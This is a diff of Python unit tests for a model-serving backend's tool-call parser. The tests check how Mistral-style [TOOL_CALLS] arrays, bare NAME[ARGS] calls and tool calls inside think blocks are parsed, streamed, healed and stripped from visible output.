+        # Canonical multi-call array: every call must parse (was dropped then deleted to EOS).
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}},{"name":"b","arguments":{"y":2}}]'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(result[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_array_string_arguments_are_decoded(self):
+        # OpenAI-spec arguments arrive as a JSON string; decode to an object.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":"{\\"x\\":1}"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_mistral_array_scalar_string_argument_not_double_encoded(self):
+        # A bare scalar string argument in the Mistral array form must be kept
+        # raw, exactly like the <tool_call> path, so the downstream argument
+        # healer wraps ``weather`` into the single-string tool's key -- not
+        # ``"weather"`` with literal quotes from a redundant json.dumps.
+        array = parse_tool_calls_from_text(
+            '[TOOL_CALLS][{"name":"web_search","arguments":"weather"}]'
+        )
+        xml = parse_tool_calls_from_text(
+            '<tool_call>{"name":"web_search","arguments":"weather"}</tool_call>'
+        )
+        assert array[0]["function"]["arguments"] == xml[0]["function"]["arguments"] == "weather"
+        healed = _coerce_arguments(
+            array[0]["function"]["arguments"], heal = True, tool_name = "web_search"
+        )
+        assert healed == {"query": "weather"}
+
+    def test_mistral_array_strip_keeps_trailing_prose(self):
+        # The array form must be removed whole, not deleted to end-of-string.
+        text = 'answer [TOOL_CALLS] [{"name":"a","arguments":{}}] tail'
+        assert strip_tool_markup(text, final = True) == "answer  tail"
+
+    def test_mistral_and_rehearsal_in_one_message_both_parse(self):
+        # A Mistral call and a rehearsal call together: both must parse.
+        text = '[TOOL_CALLS]a{"x":1} then b[ARGS]{"y":2}'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+
+    def test_mistral_v11_call_id_is_not_the_function_name(self):
+        # v11 shape: the function name is ``name``, never the opaque call-id token.
+        result = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}')
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "x"}
+        # v11 without a call-id parses the same name.
+        r2 = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[ARGS]{"q":"y"}')
+        assert r2[0]["function"]["name"] == "get_weather"
+
+    def test_strip_preserves_rehearsal_inside_think(self):
+        # A rehearsal inside <think> is reasoning; strip keeps it verbatim.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        out = strip_tool_markup(text, final = True)
+        assert out == text
+        assert "search[ARGS]" in out
+
+    def test_streaming_strip_preserves_rehearsal_inside_think(self):
+        # The streaming strip must also preserve a think rehearsal: a mid-stream strip shrinks
+        # then regrows the cumulative text (corrupts append-by-length consumers). Matches GGUF.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        assert strip_tool_markup_streaming(text) == text
+        assert strip_tool_markup_streaming(text, tool_protocol_active = True) == text
+        # An unclosed block during streaming is preserved too (the parser keeps it).
+        partial = '<think>plan: search[ARGS]{"q":"x"}'
+        assert strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial
+
+    def test_streaming_strip_still_removes_real_call_outside_think(self):
+        # The think guard must not stop the streaming strip removing a call outside the block.
+        text = '<think>reason</think> web_search[ARGS]{"q":"x"}'
+        out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+        assert "web_search[ARGS]" not in out
+        assert "<think>reason</think>" in out
+
+    def test_strip_bracket_calls_is_linear(self):
+        # Many complete bracket calls must strip in ~linear time (was O(n^2) per match).
+        import time
+
+        text = '[TOOL_CALLS]f{"a":1}' * 4000  # ~80KB, 4000 complete calls
+        t0 = time.perf_counter()
+        out = strip_tool_markup(text, final = True)
+        elapsed = time.perf_counter() - t0
+        assert "[TOOL_CALLS]" not in out
+        assert elapsed < 1.0, f"strip took {elapsed * 1000:.0f}ms on 4000 bracket calls"
+
     def test_streaming_strip_handles_nested_mistral_json(self):
         # The non-greedy [TOOL_CALLS]name{...} pattern truncates nested JSON at the first }; the
         # balanced helper must remove the whole call so no trailing brace leaks to the streaming ...
@@ -1390,6 +1816,254 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events)
 
 
+def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation():
+    # A spent one-shot (render_html) stays in the ORIGINAL tool list; detection is gated on
+    # that list (matching the strip gate) so a re-emitted repeat is drained and routed to the
+    # repeat no-op instead of stripped into a blank continuation.
+    exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+    turns = iter(
+        [
+            [
+                '<tool_call>{"name":"render_html","arguments":{"code":"<html>one</html>"}}</tool_call>'
+            ],
+            ['render_html[ARGS]{"code":"<html>two</html>"}'],  # spent one-shot rehearsal
+            ["The chart is above."],
+        ]
+    )
+
+    def gen(_messages, *, active_tools = None):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "make a chart"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "web_search"}},
+            ],
+            execute_tool = exec_fn,
+            max_tool_iterations = 5,
+        )
+    )
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # render_html ran exactly once; the repeat was a no-op, not a second execution.
+    assert exec_fn.calls == [("render_html", {"code": "<html>one</html>"})], exec_fn.calls
+    # The loop continued past the repeat to the real answer (not a blank continuation).
+    assert any("The chart is above." in t for t in contents), contents
+    # The raw rehearsal markup never leaked as visible content.
+    assert not any("render_html[ARGS]" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_is_not_streamed_before_args():
+    # A rehearsal whose name and [ARGS] arrive together must drain, not stream the bare name.
+    loop, exec_fn = _make_loop(
+        turns = [['web_search[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_split_before_args_is_not_streamed():
+    # Finding 5: name and [ARGS] in separate chunks -- the bare name is held until [ARGS] arrives.
+    loop, exec_fn = _make_loop(
+        turns = [["web_search", '[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_plain_word_matching_no_tool_still_streams():
+    # The prefix guard must not swallow prose: a non-tool bare word streams.
+    loop, _exec = _make_loop(
+        turns = [["weather", " is nice today."]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "weather is nice today." in contents, contents
+
+
+def test_rehearsal_name_after_prose_in_streaming_is_not_streamed():
+    # After prose has streamed (STREAMING state), a split rehearsal name must still be held.
+    loop, exec_fn = _make_loop(
+        turns = [
+            # _make_loop accumulates these deltas into cumulative snapshots.
+            ["Let me think. ", "I will search ", "web_search", '[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_name_after_prose_same_chunk_in_streaming_is_not_streamed():
+    # Prose then ``web_search[ARGS]{...}`` in one chunk: the boundary is pulled back over the name.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Sure. ", 'now web_search[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_initial_buffer_flush_holds_split_rehearsal_name():
+    # First flush out of BUFFERING applies the same trailing-name hold as STREAMING.
+    loop, exec_fn = _make_loop(
+        turns = [["I will use python", '[ARGS]{"code":"print(1)"}'], ["done"]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("python", {"code": "print(1)"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("python" in t for t in contents), contents
+
+
+def test_think_rehearsal_streams_monotonically_and_keeps_reasoning():
+    # A think rehearsal streams the same text the final strip keeps: cumulative content is
+    # monotonically non-decreasing and ends with the markup intact.
+    loop, exec_fn = _make_loop(
+        turns = [["<think>plan ", 'search[ARGS]{"q":"x"}', "</think> visible"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert exec_fn.calls == [], exec_fn.calls
+    assert all(len(b) >= len(a) for a, b in zip(contents, contents[1:])), contents
+    final = contents[-1] if contents else ""
+    assert 'search[ARGS]{"q":"x"}' in final, contents
+    assert "visible" in final, contents
+
+
+def test_plain_answer_ending_with_tool_name_word_is_preserved():
+    # End-of-stream flush: a plain answer ending on a tool-name word is prose, not dropped.
+    loop, exec_fn = _make_loop(
+        turns = [["I think ", "you should ", "web_search"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in contents), contents
+
+
+def test_long_tool_name_split_rehearsal_is_not_capped_and_executes():
+    # Finding 10/11: an MCP name longer than the buffer cap, split before [ARGS], is still
+    # held (self-bounding prefix); no leak and the call executes.
+    from core.inference.safetensors_agentic import _MAX_BUFFER_CHARS
+
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= _MAX_BUFFER_CHARS, len(name)
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([[name, name + '[ARGS]{"x":1}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [(name, {"x": 1})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(name in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_rehearsal_name_is_not_streamed():
+    # Finding 6: unrestricted mode treats any bare identifier as a possible rehearsal NAME.
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_after_bracket_is_not_streamed():
+    # Unrestricted mode: a chunk split right after ``NAME[`` is still held (parity with the
+    # restricted-mode startswith hold).
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search[", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search[" in t for t in contents), contents
+
+
+def test_unrestricted_mode_plain_prose_still_streams():
+    # The unrestricted hold releases a held identifier once the rest of the sentence follows.
+    def st(_messages, active_tools = None):
+        for snap in ("Hello", "Hello there friend."):
+            yield snap
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            execute_tool = FakeExecuteTool([]),
+            max_tool_iterations = 1,
+        )
+    )
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Hello there friend." in contents, contents
+
+
 def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
     # A late call caught by the safety net: an unclosed ``<tool_call>`` heals only with Auto-Heal on;
     # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call.
@@ -1977,6 +2651,42 @@ class TestLoopBasic:
         assert tool_starts[0]["tool_name"] == "python"
         assert exec_fn.calls == [("python", {"code": "print('<function=render_html>')"})]
 
+    def test_render_html_rehearsed_in_think_block_emits_no_provisional_start(self):
+        # BUG B: a render_html rehearsed inside think before a real python call must not emit a
+        # provisional render_html card; only the outside-think call fires.
+        exec_fn = FakeExecuteTool(["ok"])
+        turn_iter = iter(
+            [
+                [
+                    '<think>draft render_html[ARGS]{"code":"x"}</think>',
+                    'python[ARGS]{"code":"print(1)"}',
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "run code"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        assert [e["tool_name"] for e in tool_starts] == ["python"], tool_starts
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
     def test_render_html_success_blocks_second_canvas_call(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -3653,6 +4363,114 @@ if __name__ == "__main__":
     pytest.main([__file__, "-v"])
 
 
+def test_streaming_strip_keeps_bare_args_before_think_block():
+    # F3: a bare ``foo[ARGS]`` before a think block is prose; EOS-anchored tail arms run only
+    # on the last segment.
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert out == text
+
+
+def test_streaming_strip_still_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips in the non-last segment.
+    text = 'go web_search[ARGS]{"q":"x"} <think>z</think> done'
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert "web_search[ARGS]" not in out
+    assert "<think>z</think>" in out
+    assert "go" in out and "done" in out
+
+
+def test_prose_args_marker_before_real_call_does_not_drain_the_prose():
+    # F5: an inactive ``foo[ARGS]`` in prose is not a call boundary; the prose streams in
+    # full and the later real call still executes.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Intro ", "foo[ARGS] syntax. ", 'web_search[ARGS]{"query":"cats"}'],
+            ["Cats are great."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # The prose between the bogus marker and the real call must survive.
+    assert any("foo[ARGS] syntax." in t for t in contents), contents
+    # The real call markup is never shown as content.
+    assert not any("web_search[ARGS]" in t for t in contents), contents
+
+
+def test_inactive_name_args_with_body_is_not_parsed_into_disabled_noop():
+    # BUG A: a prose answer with an inactive ``foo[ARGS]{...}`` is not drained into a
+    # disabled no-op extra turn; the [ARGS] checks are name-gated.
+    turns = [['foo[ARGS]{"x":1} is just syntax.']]
+    turn_calls: list[int] = []
+
+    def _gen(_messages):
+        turn_calls.append(1)
+        chunks = turns[len(turn_calls) - 1] if len(turn_calls) <= len(turns) else []
+        acc = ""
+        for chunk in chunks:
+            acc += chunk
+            yield acc
+
+    exec_fn = FakeExecuteTool([])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "explain"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    assert not any(e["type"] in ("tool_start", "tool_end") for e in events), events
+    # Exactly one generation turn -- no disabled ``foo`` no-op re-prompt.
+    assert len(turn_calls) == 1, turn_calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("is just syntax." in t for t in contents), contents
+
+
+class TestEnabledToolNameGate:
+    """The safetensors loop passes the active tool names into parse/strip so the
+    ambiguous bare-rehearsal ``NAME[ARGS]{json}`` is treated as a call only when NAME
+    is an active tool (#5704). Without the gate an inactive ``foo[ARGS]{...}`` in prose
+    was parsed into a disabled no-op call and stripped from the visible text."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_parse_inactive_rehearsal_does_not_swallow_active_call(self):
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_parse_inactive_rehearsal_alone_is_prose(self):
+        assert (
+            parse_tool_calls_from_text('foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"}) == []
+        )
+
+    def test_streaming_strip_keeps_inactive_rehearsal(self):
+        raw = 'answer foo[ARGS]{"x":1} tail'
+        assert strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw
+
+    def test_streaming_strip_removes_active_rehearsal(self):
+        raw = 'answer web_search[ARGS]{"q":1} tail'
+        out = strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"})
+        assert "web_search[ARGS]" not in out
+        assert out == "answer  tail"
+
+    def test_final_strip_keeps_inactive_rehearsal(self):
+        text = 'foo[ARGS]{"x":1} is just syntax.'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_gate_none_preserves_legacy_strip_and_parse(self):
+        text = 'foo[ARGS]{"x":1} tail'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo"]
+        assert strip_tool_markup_streaming(text) == " tail"
+
+
 def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
     # F3: with Auto-Heal OFF, a truncated ENABLED-name bare-JSON fragment that did
     # not parse must stay visible (disabled-Auto-Heal contract: malformed markup is
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 7f47140b8d..c6da1e90e7 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -266,6 +266,133 @@ class TestHealingPathUnaffected:
         assert healed[span[0] : span[1]] == "<function=web_search><parameter=query>dogs"
 
 
+class TestEnabledToolNameGate:
+    """``enabled_tool_names`` disambiguates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{json}`` form (#5704): NAME is a call only when it is an active tool,
+    otherwise it is prose. ``None`` (the default) keeps the legacy unrestricted parse
+    so existing callers are unaffected."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_inactive_rehearsal_before_active_call_does_not_swallow_it(self):
+        # P1: an inactive ``foo[ARGS]{...}`` before a real call must not consume the real call.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_inactive_rehearsal_alone_is_not_a_call(self):
+        text = 'foo[ARGS]{"a":1}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_active_rehearsal_is_still_parsed(self):
+        text = 'web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+
+    def test_unrestricted_gate_none_preserves_legacy_behavior(self):
+        # Without a gate every ``NAME[ARGS]{...}`` is parsed, as before the gate landed.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo", "web_search"]
+        assert self._names(parse_tool_calls_from_text(text, enabled_tool_names = None)) == [
+            "foo",
+            "web_search",
+        ]
+
+
+class TestBracketCallSpans:
+    """with_spans tiling for Mistral bracket calls: promoted markup strips
+    exactly once, filtered calls' bytes stay visible, closers strip too."""
+
+    def test_mixed_array_filtered_first_keeps_its_bytes_only(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"bad","arguments":{"x":1}},'
+            '{"name":"lookup","arguments":{"q":"cats"}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        kinds = [k for k, _v in events]
+        assert kinds == ["text", "tool_call"]
+        text = events[0][1]
+        assert '"bad"' in text
+        # The promoted call's markup must not survive in the text event.
+        assert '"lookup"' not in text
+
+    def test_mixed_array_filtered_second_stays_visible(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"cats"}},'
+            '{"name":"bad","arguments":{"x":1}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert events[0][0] == "tool_call"
+        trailing = "".join(v for k, v in events if k == "text")
+        assert '"bad"' in trailing
+
+    def test_v11_closer_inside_span(self):
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = '[TOOL_CALLS]web_search[ARGS]{"query":"cats"}[/TOOL_CALLS] after'
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert call["function"]["name"] == "web_search"
+        (span,) = spans
+        assert text[span[0] : span[1]].endswith("[/TOOL_CALLS]")
+        assert text[span[1] :] == " after"
+
+    def test_fully_promoted_array_strips_whole_region(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"a"}},'
+            '{"name":"lookup","arguments":{"q":"b"}}] after'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert [k for k, _v in events] == ["tool_call", "tool_call", "text"]
+        assert events[2][1] == " after"
+
+
+class TestMistralArrayHealing:
+    """Draining the whole [TOOL_CALLS] array for the shapes the repo's own
+    Mistral/Ollama templates emit."""
+
+    def test_comma_less_multi_call_array_parses_all_calls(self):
+        # ollama_template_mappers.py renders multi-call turns as [{...}{...}] with no
+        # comma separator; a single json.loads of the body rejects it and dropped every
+        # call. The element-by-element decode must recover all of them.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}}{"name":"b","arguments":{"y":2}}]'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_comma_separated_and_single_arrays_still_parse(self):
+        both = parse_tool_calls_from_text(
+            '[TOOL_CALLS] [{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        )
+        assert [c["function"]["name"] for c in both] == ["a", "b"]
+        one = parse_tool_calls_from_text('[TOOL_CALLS] [{"name":"a","arguments":{}}]')
+        assert [c["function"]["name"] for c in one] == ["a"]
+
+    def test_mistral_array_null_arguments_normalized_to_empty_object(self):
+        # ``"arguments": null`` is a no-arg call; it must become {} (as the <tool_call>
+        # path does), not the string "null" that auto-heal turns into {"query":"null"}.
+        calls = parse_tool_calls_from_text('[TOOL_CALLS][{"name":"get_time","arguments":null}]')
+        assert calls[0]["function"]["arguments"] == "{}"
+
+
 class TestGlmStrict:
     def test_closed_glm_call_is_accepted(self):
         text = (
@@ -740,22 +867,26 @@ class TestMistralOuterOverXmlLiteral:
 
 
 class TestHealerSignalAlignment:
-    """The healer buffers only promotable formats; Mistral/Llama text calls stream through."""
+    """The healer buffers only formats its shared parser can promote. Mistral's
+    ``[TOOL_CALLS]`` is promotable (rescued), so it is a heal signal; the loop-only
+    text-call markers (Llama ``<|python_tag|>``, bare ``[ARGS]``) are not, so they
+    stream through instead of stalling as prose that never yields a call."""
 
     def test_heal_signals_subset_of_promotable_formats(self):
         from core.inference.passthrough_healing import _HEAL_SIGNALS
-        assert set(_HEAL_SIGNALS) == {"<tool_call>", "<|tool_call>", "<function="}
+        assert set(_HEAL_SIGNALS) == {"<tool_call>", "<|tool_call>", "<function=", "[TOOL_CALLS]"}
 
-    def test_stream_healer_does_not_hold_mistral_text(self):
+    def test_stream_healer_does_not_hold_llama_python_tag_text(self):
         from core.inference.passthrough_healing import StreamToolCallHealer
 
         healer = StreamToolCallHealer(
             {"web_search"},
             [{"type": "function", "function": {"name": "web_search", "parameters": {}}}],
         )
-        events = list(healer.feed('[TOOL_CALLS]web_search[ARGS]{"query":"cats"}'))
+        # Llama <|python_tag|> is not a healer-promotable format, so it streams through as text.
+        events = list(healer.feed('<|python_tag|>web_search.call(query="cats")'))
         text_out = "".join(v for k, v in events if k == "text")
-        assert "[TOOL_CALLS]" in text_out  # streamed through, not buffered
+        assert "<|python_tag|>" in text_out  # streamed through, not buffered
         assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize())
 
 
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index d50c27130f..f7792a2a71 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -52,6 +52,11 @@ _ns = {
 }
 exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns)
 _TOOL_XML_RE = _ns["_TOOL_XML_RE"]
+# The display helper uses the closed-only variant before the last think block; keep it in scope.
+_mc = _re.search(r"_TOOL_XML_CLOSED_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
+assert _mc, "could not extract _TOOL_XML_CLOSED_RE source"
+exec(f"_TOOL_XML_CLOSED_RE = _re.compile({_mc.group(1)})", _ns)
+_TOOL_XML_CLOSED_RE = _ns["_TOOL_XML_CLOSED_RE"]
 
 # Signatures may span multiple lines and now carry the enabled_tool_names gate; match
 # the whole (possibly multi-line) signature up to ``-> str:`` then the indented body.
@@ -66,16 +71,19 @@ assert "_strip_mistral_closed_calls" in _xml_helper.group(
 exec(_xml_helper.group(0), _ns)
 _strip_tool_xml = _ns["_strip_tool_xml"]
 
+# Extract the gate helper and display strip up to the next top-level ``logger =``.
 _helper = _re.search(
-    r"def _strip_tool_xml_for_display\((?:.|\n)*?\) -> str:\n(?:    .+\n)+",
+    r"def _display_tool_name_gate\(.*?(?=\nlogger = get_logger)",
     _src,
+    _re.DOTALL,
 )
-assert _helper, "could not extract _strip_tool_xml_for_display source"
-# After the V1 fix the display helper delegates to _strip_tool_xml; confirm the
-# extracted body actually reached that call rather than truncating early.
+assert _helper, "could not extract display strip helper source"
+# The extracted block spans _display_tool_name_gate through _strip_tool_xml (defined before
+# ``logger =``); confirm the shared _strip_tool_xml delegate is present.
 assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates"
 exec(_helper.group(0), _ns)
 _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"]
+_display_tool_name_gate = _ns["_display_tool_name_gate"]
 
 _gate_src = _re.search(
     r"def _gemma_strip_gate\((?:.|\n)*?\) -> set:\n(?:    .+\n)+",
@@ -95,6 +103,56 @@ def test_route_display_strip_respects_disabled_auto_heal_contract():
     assert "<tool_call>" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
 
 
+def test_route_display_strip_preserves_rehearsal_inside_think():
+    # A rehearsed bracket call inside think is reasoning: the block is preserved while a real
+    # call outside it still strips.
+    text = '<think>plan: search[ARGS]{"q":"x"}</think> answer [TOOL_CALLS]web_search{"q":"y"} tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert '<think>plan: search[ARGS]{"q":"x"}</think>' in out
+    assert "[TOOL_CALLS]web_search" not in out
+    assert "answer" in out and "tail" in out
+
+
+def test_route_display_strip_keeps_bare_args_before_think_block():
+    # A bare ``foo[ARGS]`` before a think block is prose: EOS-anchored tail arms run only on
+    # the last segment (earlier segments use the closed-only regex).
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
